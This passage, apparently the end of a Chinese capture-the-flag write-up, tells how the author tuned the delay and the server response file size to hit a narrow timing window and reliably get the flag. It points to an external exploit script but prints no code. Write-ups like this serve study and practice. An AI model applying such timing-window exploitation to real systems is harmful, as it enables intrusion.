由于第二个极短的时间窗,我们需要比较准确地调控延迟时间,之前没调控好时间以及文件大小,挂一晚上脚本都没有 hit 中一次,第二天经过 @rebirth 的深刻指点,修改了一下延迟时间以及服务器响应的文件的大小,成功率得到了很大的提高,基本每次都可以 getflag。

img

脚本放在 gist-exp.py,其中 192.168.34.1 是本地题目地址,192.168.151.132 是 client 的地址。

请我喝[茶]~( ̄▽ ̄)~*

miku233 微信支付

微信支付

miku233 支付宝

支付宝

miku233 贝宝

贝宝